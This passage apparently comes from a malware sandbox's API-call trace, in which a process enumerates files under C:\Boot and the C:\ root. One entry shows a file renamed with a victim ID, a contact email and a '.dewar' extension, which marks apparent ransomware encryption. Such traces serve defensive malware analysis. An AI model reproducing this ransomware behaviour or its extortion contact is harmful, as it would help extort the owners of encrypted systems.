[0214.601] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0214.602] GetProcessHeap () returned 0x560000 [0214.602] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0214.602] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.602] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.602] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.602] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.602] FindClose (in: hFindFile=0x593dd0 | out: hFindFile=0x593dd0) returned 1 [0214.603] GetProcessHeap () returned 0x560000 [0214.603] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0214.603] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0214.603] GetProcessHeap () returned 0x560000 [0214.603] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0214.603] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.603] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.603] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.603] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.604] FindClose (in: hFindFile=0x593dd0 | out: hFindFile=0x593dd0) returned 1 [0214.604] GetProcessHeap () returned 0x560000 [0214.604] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0214.604] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0214.604] GetProcessHeap () returned 0x560000 [0214.604] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0214.604] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.604] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.605] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.605] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.605] FindClose (in: hFindFile=0x593dd0 | out: hFindFile=0x593dd0) returned 1 [0214.605] GetProcessHeap () returned 0x560000 [0214.605] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0214.605] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0214.605] GetProcessHeap () returned 0x560000 [0214.605] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0214.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.606] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.606] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.607] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.607] FindClose (in: hFindFile=0x593dd0 | out: hFindFile=0x593dd0) returned 1 [0214.607] GetProcessHeap () returned 0x560000 [0214.607] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0214.607] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0214.607] GetProcessHeap () returned 0x560000 [0214.607] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0214.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.608] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.608] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.608] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.608] FindClose (in: hFindFile=0x593dd0 | out: hFindFile=0x593dd0) returned 1 [0214.608] GetProcessHeap () returned 0x560000 [0214.608] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0214.608] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0214.608] GetProcessHeap () returned 0x560000 [0214.608] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0214.609] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593dd0 [0214.609] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.609] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.609] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.609] FindClose (in: hFindFile=0x593dd0 | out: hFindFile=0x593dd0) returned 1 [0214.609] GetProcessHeap () returned 0x560000 [0214.609] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0214.609] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0214.610] FindClose (in: hFindFile=0x2b74498 | out: hFindFile=0x2b74498) returned 1 [0214.610] GetProcessHeap () returned 0x560000 [0214.610] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b10050 | out: hHeap=0x560000) returned 1 [0214.610] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0214.610] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x68cf0210, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0x68cf0210, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6918ccb0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x2102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK.id[9C354B42-2713].[chagenak@airmail.cc].dewar", cAlternateFileName="BOOTSE~1.DEW")) returned 1 [0214.610] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0214.610] GetProcessHeap () returned 0x560000 [0214.610] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b10050 [0214.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="卷\x8cᜠW▰d\x80")) returned 0xffffffff [0214.611] GetProcessHeap () returned 0x560000 [0214.611] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b10050 | out: hHeap=0x560000) returned 1 [0214.611] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0214.611] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xa97a94a0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0214.611] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0214.611] GetProcessHeap () returned 0x560000 [0214.611] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b10050 [0214.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="卷\x8cᜠW▰d\x80")) returned 0xffffffff [0214.612] GetProcessHeap () returned 0x560000 [0214.612] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b10050 | out: hHeap=0x560000) returned 1 [0214.612] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xa7c23640, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0214.612] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, 